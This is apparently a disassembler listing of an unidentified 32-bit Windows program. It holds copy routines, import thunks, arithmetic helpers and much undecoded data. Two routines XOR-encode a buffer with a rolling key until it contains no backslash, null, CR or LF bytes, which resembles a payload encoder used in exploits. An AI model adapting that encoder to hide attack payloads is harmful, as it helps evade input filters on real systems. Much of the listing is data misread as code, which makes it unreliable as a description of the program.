xor eax, eax
mov edx, [esp+2044h]
repne scasb
not ecx
dec ecx
lea ebx, [ecx+edx+1]
push ebx
call near ptr 77C2C407h
nop
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+2044h]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call near ptr 77C2C407h
nop
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov ecx, 6
mov esi, (offset loc_448B87+1)
mov edi, edx
add esp, 28h
rep movsd
lea edi, [esp+1Ch]
or ecx, 0FFFFFFFFh
repne scasb
mov [esp+10h], edx
mov edx, [esp+2024h]
not ecx
mov eax, ecx
lea esi, [esp+1Ch]
lea edi, [edx+ebp-2]
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [esp+2044h]
and ecx, 3
test eax, eax
rep movsb
jz short loc_4376F2
push ebx
push ebp
call eax
add esp, 8
loc_4376F2: ; CODE XREF: ___:004376E9j
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+1Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_437734: ; CODE XREF: ___:004377ADj
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_437774
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_437774
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_437774
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4377AF
loc_437774: ; CODE XREF: ___:00437742j
; ___:00437752j ...
mov esi, [esp+18h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+14h]
inc ecx
test ebx, ebx
mov [esp+14h], ecx
jle short loc_4377A6
loc_437799: ; CODE XREF: ___:004377A4j
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_437799
loc_4377A6: ; CODE XREF: ___:00437797j
mov edx, [esp+10h]
mov [edx+13h], cl
jmp short loc_437734
; ---------------------------------------------------------------------------
loc_4377AF: ; CODE XREF: ___:00437772j
mov eax, [esp+18h]
push eax
call near ptr 77C2C21Bh
nop
mov ecx, [esp+2030h]
mov edx, [esp+202Ch]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+14h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+14h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_511AD0
call esi ; free
push ebp
call esi ; free
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
add esp, 200Ch
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4378B0: ; CODE XREF: ___:0040191Fj
push ecx
push ebx
mov ebx, [esp+10h]
push ebp
push esi
push edi
push ebx
mov dword ptr [esp+14h], 98h
call near ptr 77C2C407h
nop
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call near ptr 77C2C407h
nop
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov eax, [esp+30h]
add esp, 8
mov ecx, 6
mov esi, (offset loc_448B87+1)
mov edi, edx
mov [esp+1Ch], edx
test eax, eax
rep movsd
jz short loc_43792D
push ebx
push ebp
call eax
add esp, 8
loc_43792D: ; CODE XREF: ___:00437924j
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+1Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+1Ch]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_43796F: ; CODE XREF: ___:004379E8j
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4379AF
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4379AF
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4379AF
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4379EA
loc_4379AF: ; CODE XREF: ___:0043797Dj
; ___:0043798Dj ...
mov esi, [esp+18h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_4379E1
loc_4379D4: ; CODE XREF: ___:004379DFj
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_4379D4
loc_4379E1: ; CODE XREF: ___:004379D2j
mov edx, [esp+1Ch]
mov [edx+13h], cl
jmp short loc_43796F
; ---------------------------------------------------------------------------
loc_4379EA: ; CODE XREF: ___:004379ADj
mov eax, [esp+18h]
push eax
call near ptr 77C2C21Bh
nop
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+20h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+20h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_511AD0
call esi ; free
push ebp
call esi ; free
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 68h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_437AB8 proc near ; CODE XREF: SEH_403530+5j
; SEH_403700+5j ...
jmp near ptr 77C227FAh
sub_437AB8 endp
; ---------------------------------------------------------------------------
db 0FFh, 2 dup(0CCh)
byte_437AC0 db 90h ; DATA XREF: ___:off_43F004o
; ___:0043F018o ...
db 0E9h, 47h, 0E4h
dd 4DE9777Fh, 0B3777E44h, 7F18F6E9h
; ---------------------------------------------------------------------------
ja short loc_437AFA
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437AD2 proc near ; CODE XREF: ___:00406C30p
; sub_406C50+11p ...
nop
jmp near ptr 77C29CDDh
sub_437AD2 endp
; ---------------------------------------------------------------------------
dd 80FFB3E9h, 0E9903C77h, 7781017Ch, 1FBE990h
db 81h, 77h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437AEA proc near ; CODE XREF: sub_406C80+47p
; ___:00406D1Ap ...
nop
jmp near ptr 77C29CC5h
sub_437AEA endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0F1h, 99h
dd 0C18B777Eh
db 0C7h, 0
; ---------------------------------------------------------------------------
loc_437AFA: ; CODE XREF: ___:00437AD0j
aam 0F1h
inc ebx
add dl, al
add al, 0
loc_437B01: ; DATA XREF: ___:off_43F1D4o
push esi
mov esi, ecx
call sub_437EBC
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_437B17
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
loc_437B17: ; CODE XREF: ___:00437B0Ej
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
mov eax, ecx
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437B22 proc near ; CODE XREF: sub_409650+4Dp
; ___:0040AA6Dp
nop
jmp near ptr 77C226F6h
sub_437B22 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 5Ch, 84h
; ---------------------------------------------------------------------------
xor byte ptr [edi-34h], 0CCh
; =============== S U B R O U T I N E =======================================
sub_437B30 proc near ; CODE XREF: sub_40A100+5p
; sub_40FE30+1Ap ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_437B50
loc_437B3C: ; CODE XREF: sub_437B30+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_437B3C
loc_437B50: ; CODE XREF: sub_437B30+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_437B30 endp
; ---------------------------------------------------------------------------
db 0CCh
db 90h
db 0E9h, 2 dup(0FAh)
dd 0E9907780h, 777E5424h, 7F04E990h, 0E9907780h, 7780FED8h
dd 802301E9h, 0E990BD77h, 7780FD9Ch, 487DE990h, 3D83777Fh
dd 5109B4h, 0FF0C75FFh, 90042474h, 7FD25BE8h, 68C35977h
dd 5109A4h, 5109B468h, 2474FF00h, 310E80Ch, 0C4830000h
dd 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h, 0C348D8F7h
dd 464DE990h, 0E9E9777Fh, 53777FF5h, 0F5F9E990h
; ---------------------------------------------------------------------------
jg short loc_437C51
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437BDA proc near ; CODE XREF: sub_4199C0+28p
nop
jmp near ptr 77C4FA10h
sub_437BDA endp
; =============== S U B R O U T I N E =======================================
sub_437BE0 proc near ; CODE XREF: sub_41B920+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_437C01
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_437C51
; ---------------------------------------------------------------------------
loc_437C01: ; CODE XREF: sub_437BE0+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_437C0F: ; CODE XREF: sub_437BE0+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_437C0F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_437C3A
cmp edx, [esp+4+arg_4]
ja short loc_437C3A
jb short loc_437C42
cmp eax, [esp+4+arg_0]
jbe short loc_437C42
loc_437C3A: ; CODE XREF: sub_437BE0+4Aj
; sub_437BE0+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_437C42: ; CODE XREF: sub_437BE0+52j
; sub_437BE0+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_437C51: ; CODE XREF: ___:00437BD8j
; sub_437BE0+1Fj
pop ebx
retn 10h
sub_437BE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_437C60 proc near ; CODE XREF: sub_41B920+30p
; sub_41B920+3Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_437C82
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_437CC3
; ---------------------------------------------------------------------------
loc_437C82: ; CODE XREF: sub_437C60+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_437C90: ; CODE XREF: sub_437C60+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_437C90
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_437CBE
cmp edx, [esp+8+arg_4]
ja short loc_437CBE
jb short loc_437CBF
cmp eax, [esp+8+arg_0]
jbe short loc_437CBF
loc_437CBE: ; CODE XREF: sub_437C60+4Ej
; sub_437C60+54j
dec esi
loc_437CBF: ; CODE XREF: sub_437C60+56j
; sub_437C60+5Cj
xor edx, edx
mov eax, esi
loc_437CC3: ; CODE XREF: sub_437C60+20j
pop esi
pop ebx
retn 10h
sub_437C60 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0E3h, 8Dh
dd 0E9907780h, 7780733Ch, 187E990h, 97E97781h, 0CF778091h
dd 9515E990h, 0E9907780h, 77809888h, 96AAE990h, 0E9907780h
dd 77809A43h, 80FEE3E9h, 6FE93977h, 8377809Eh, 8071EDE9h
dd 0E990A677h, 77809103h, 43ADE990h, 0E990777Fh, 777E4845h
dd 0F0D0E990h, 0E990777Fh, 777FF4D2h, 7E758FE9h, 0E9900477h
dd 77807BFDh, 9B30E990h, 0E9907780h, 7780269Bh, 25C1E990h
dd 0E9907780h, 778113C7h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437D4C proc near ; CODE XREF: ___:0043297Cp
nop
jmp near ptr 77C3619Ch
sub_437D4C endp
; ---------------------------------------------------------------------------
dw 1DE9h
dd 80777FF0h, 808E54E9h, 0C47BBD77h, 82A1EA9Bh, 0C1EA3B47h
dd 7D32C36h, 9046D35Dh, 7A7C8011h, 0FA08BD57h, 673DCE3Ah
dd 52250A71h, 3788A776h, 5D89BF87h, 90026AFCh, 7FD5EBE8h
dd 0D835977h, 5109A4h, 0B40D83FFh, 0FF005109h, 7E7436E8h
dd 0D8B9077h, 5108B4h, 0E8900889h, 777E73F0h, 8B00D8Bh
dd 8890051h, 511A28A1h, 0A3008B00h, 510998h, 12EE8h, 0B01D3900h
dd 7500448Ch, 7EF8680Ch, 96E80043h, 90778158h, 0FAE859h
dd 18680000h, 68004444h, 444314h, 0E5E8h, 8ACA100h, 45890051h
dd 94458D94h, 0A835FF50h, 8D005108h, 8D509C45h, 8D509045h
dd 0E850A045h, 777E70D3h, 42106890h, 680044h, 0E8004440h
dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h
dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 99E850A4h
dd 90022E81h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 24E85353h, 9002449Dh
dd 0A050E850h, 4589FFFCh, 0E8905098h, 77801FE2h, 8BEC458Bh
dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh
dd 0DFE88875h, 9077801Fh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437EBC proc near ; CODE XREF: ___:00437B04p
nop
jmp near ptr 77C21868h
sub_437EBC endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dword_437EC4 dd 777FCF89h, 1FCCE990h, 0E9907780h, 777FAEDAh, 7E7012E9h
dd 0E9906F77h, 77801E87h, 3000068h, 6800h, 25E80001h, 59000000h
dd 7EE9C359h, 13778157h, 0C3C3C033h, 72A2E990h, 0D4E9777Eh
dd 76777E72h, 0D46EE990h, 81E9777Fh, 95777FDDh, 6F15E990h
dd 0E9907781h, 75C6844Bh, 8529E990h, 0E99075C6h, 75C5A102h
dd 7553E990h, 0F9E975C5h, 1B75C684h, 0A029E990h, 0E99075C4h
dd 75C53908h, 0F765E990h, 95E975C5h, 775C4DBh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437F50 proc near ; CODE XREF: sub_419300+190p
nop
jmp near ptr 76D6AC1Dh
sub_437F50 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 23B8D4Eh, 8DC0E990h, 0E990023Bh, 23C8098h, 8505E990h
dd 0E990023Ch, 23D808Ch, 912FE990h, 81E9023Dh, 0E8023E80h
dd 807AE990h, 0E990023Fh, 23F93ECh, 3F961BE9h, 0E9900E02h
dd 23F99B8h, 9C7CE990h, 0E990023Fh, 240805Ch, 8749E990h
dd 0E9900240h, 2408B8Eh, 41804BE9h, 84E9A602h, 0E802418Bh
dd 803EE990h, 0FDE90242h, 88024282h, 8032E990h, 0E9900243h
dd 244802Ch, 90B6E990h, 0E9900244h, 2449BCFh, 801AE990h
dd 0E9900245h, 2458625h, 458AEEE9h, 9E9CA02h, 0E1024680h
dd 83E3E990h, 0E9900246h, 23B88F6h, 7FF6E990h, 0E990023Bh
dd 23A7FF0h, 8889E990h, 0E5E90239h, 7902397Fh, 7FDEE990h
dd 0E9900238h, 2378355h, 7FD2E990h, 0E9900237h, 2368BCAh
dd 36851BE9h, 0E990E802h, 23683A7h, 7FBAE990h, 81E9022Dh
dd 9F023683h, 8339E990h, 0E9900236h, 7C4C9095h, 8FA7E990h
dd 0E9907C4Ch, 236815Ah, 7F96E990h, 78E90236h, 6C023587h
dd 7F8AE990h, 86E90235h, 4602348Bh, 8A7CE990h, 0E9900234h
dd 23488F2h, 86F4E990h, 5BE90234h, 4E023484h, 820EE990h
dd 61E90234h, 4E02347Fh, 8AFFE990h, 0E9900233h, 2338915h
dd 858FE990h, 70E90233h, 0A6023384h, 7F42E990h, 0CFE90233h
dd 702328Ah, 87B0E990h, 0E9900232h, 2328625h, 32823CE9h
dd 25E96202h, 0C002327Fh, 318995E9h, 30E98002h, 5D023186h
dd 860FE990h, 0E9900231h, 2317F0Ch, 8B1FE990h, 0E9900230h
dd 2308891h, 84C7E990h, 0E9900230h, 2307EF4h, 8CAEE990h
dd 0E990022Fh, 22F8AECh, 87F3E990h, 0DCE9022Fh, 2A022F85h
dd 2F7ED7E9h, 0E990DE02h, 22E7ED0h, 0A725E990h, 0E990001Bh
dd 24689B6h, 8FF8E990h, 0B9E90251h, 71024D7Eh, 7EB2E990h
dd 0ADE90251h, 6202507Eh, 8BDEE990h, 0E990024Fh, 24F7EA0h
dd 4E80C3E9h, 95E92502h, 7B024E7Eh, 4D8A30E9h, 21E92802h
dd 4B024D87h, 8512E990h, 0E990024Dh, 24D8351h, 7E76E990h
dd 0E9900247h, 24C897Eh, 4C85BDE9h, 0E9901302h, 24C8285h
dd 7E5EE990h, 0E990024Ch, 24B7E58h, 7E52E990h, 0FAE9024Ah
dd 7024998h, 9503E990h, 0E9900249h, 2499263h, 49913CE9h
dd 0E9902002h, 2497E34h, 487E2FE9h, 0E990E602h, 7C608F38h
dd 67BD64E9h
; ---------------------------------------------------------------------------
jno short loc_4381E5
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4381DE proc near ; CODE XREF: ___:0042DBE1p
nop
jmp near ptr 71AB4FD4h
sub_4381DE endp
; ---------------------------------------------------------------------------
db 90h
; ---------------------------------------------------------------------------
loc_4381E5: ; CODE XREF: ___:004381DCj
jmp near ptr 71ABE479h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4381EA proc near ; CODE XREF: sub_42DBD1+1p
jmp near ptr 71AB2BF4h
sub_4381EA endp
; ---------------------------------------------------------------------------
pop edx
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4381F0 proc near ; CODE XREF: sub_42DF40+E5p
; sub_42EF60+4Fp
nop
jmp near ptr 71AB615Ah
sub_4381F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4381F6 proc near ; CODE XREF: sub_42E490+9Ap
; sub_42F040+45p ...
nop
jmp near ptr 71AB428Ah
sub_4381F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4381FC proc near ; CODE XREF: sub_42F2C0+53p
; sub_42F2C0+96p ...
nop
jmp near ptr 71AB9639h
sub_4381FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_438202 proc near
jmp near ptr 71AC1028h
sub_438202 endp
; ---------------------------------------------------------------------------
db 39h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_438208 proc near ; CODE XREF: sub_42E170+71p
; sub_42ED50+50p
jmp near ptr 71AB2DC0h
sub_438208 endp
; ---------------------------------------------------------------------------
db 0E8h, 90h, 0E9h
dd 7167A9ACh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_438214 proc near
jmp near ptr 71AB88D3h
sub_438214 endp
; ---------------------------------------------------------------------------
db 2Ah, 0E9h, 47h
dd 0E7167A9h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438220 proc near ; CODE XREF: sub_42E870+187p
nop
jmp near ptr 71AB951Eh
sub_438220 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_438226 proc near
jmp near ptr 71AB3E00h
sub_438226 endp
; ---------------------------------------------------------------------------
db 0F0h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_43822C proc near ; CODE XREF: sub_42DB00+B1p
nop
jmp near ptr 71AB2B66h
sub_43822C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438232 proc near ; CODE XREF: ___:0042DC2Fp
; sub_42E870+152p
nop
jmp near ptr 71AB3B91h
sub_438232 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438238 proc near
nop
jmp near ptr 71AB406Ah
sub_438238 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 7167C1E4h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_438244 proc near ; CODE XREF: sub_42DA80+10p
jmp near ptr 71AB664Dh
sub_438244 endp
; ---------------------------------------------------------------------------
db 74h, 90h, 0E9h
dd 7167CE78h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_438250 proc near ; CODE XREF: sub_434BA0+Bp
jmp near ptr 71AB94DCh
sub_438250 endp
; ---------------------------------------------------------------------------
aaa
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438256 proc near ; CODE XREF: sub_41A7D0+92p
; sub_41A990+CAp ...
nop
jmp near ptr 71AB4544h
sub_438256 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0EEh, 88h
; ---------------------------------------------------------------------------
push 0B1E99071h
retn 7167h
; ---------------------------------------------------------------------------
dd 67A953E9h, 9CE9C571h, 417167AAh, 0A9EFE990h
db 67h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_43827A proc near
nop
jmp near ptr 71AB3EA1h
sub_43827A endp
; ---------------------------------------------------------------------------
dd 6804E4E9h, 0E990CA71h, 7167C1FDh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_43828C proc near ; CODE XREF: sub_42DB00+53p
; sub_42DB00+C3p
nop
jmp near ptr 71ABE6EBh
sub_43828C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438292 proc near ; CODE XREF: sub_42F2C0+4Ap
nop
jmp near ptr 71AC0BDEh
sub_438292 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_438298 proc near
jmp near ptr 71AB2A5Eh
sub_438298 endp
; ---------------------------------------------------------------------------
db 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_43829E proc near ; CODE XREF: ___:0041C2B7p
; ___:0041C2CCp
jmp near ptr 71B2578Ch
sub_43829E endp
; ---------------------------------------------------------------------------
db 80h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4382A4 proc near ; CODE XREF: ___:0041C40Dp
; ___:0041C42Fp
nop
jmp near ptr 71B25099h
sub_4382A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4382AA proc near ; CODE XREF: ___:00426390p
nop
jmp near ptr 71B2517Fh
sub_4382AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4382B0 proc near ; CODE XREF: sub_41FF90+B4p
nop
jmp near ptr 76BF215Ah
sub_4382B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4382B6 proc near ; CODE XREF: sub_41FF90+9Bp
nop
jmp near ptr 76BF1F1Ch
sub_4382B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4382BC proc near ; CODE XREF: sub_41FF90+21p
nop
jmp near ptr 76BF3A9Ah
sub_4382BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4382C2 proc near ; CODE XREF: ___:0041B284p
jmp near ptr 76F36C5Bh
sub_4382C2 endp
; ---------------------------------------------------------------------------
db 7Bh
db 90h
db 0E9h, 80h, 0DFh
dword_4382CC dd 0E9907780h, 7780DE51h, 0DE96E990h, 41E97780h, 887780E0h
dd 2C4h dup(0CCCCCCCCh), 0FB988D8Dh, 2BE9FFFFh, 8DFFFC84h
dd 0FFFBC88Dh, 8420E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC8415E9h
dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC840Ah, 0FB94858Bh, 0E083FFFFh
dd 0FC08501h, 884h, 44D8B00h, 0FC83F1E9h
; ---------------------------------------------------------------------------
inc ebx
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403530 proc near ; DATA XREF: sub_403530+2o
mov eax, offset dword_43F470
jmp sub_437AB8
SEH_403530 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9
jmp sub_401AE6
; ---------------------------------------------------------------------------
loc_438E6B: ; DATA XREF: ___:0043F4ECo
mov ecx, [ebp-10h]
add ecx, 52h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9Bh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E4h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 12Dh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 176h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1BFh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 208h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 251h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 29Ah
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2E3h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 32Ch
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 375h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3BEh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 407h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 450h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 499h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4E2h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 52Bh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 574h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 5BDh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 606h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 64Fh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 698h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6E1h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 72Ah
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 773h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 7BCh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 805h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 84Eh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 897h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8E0h
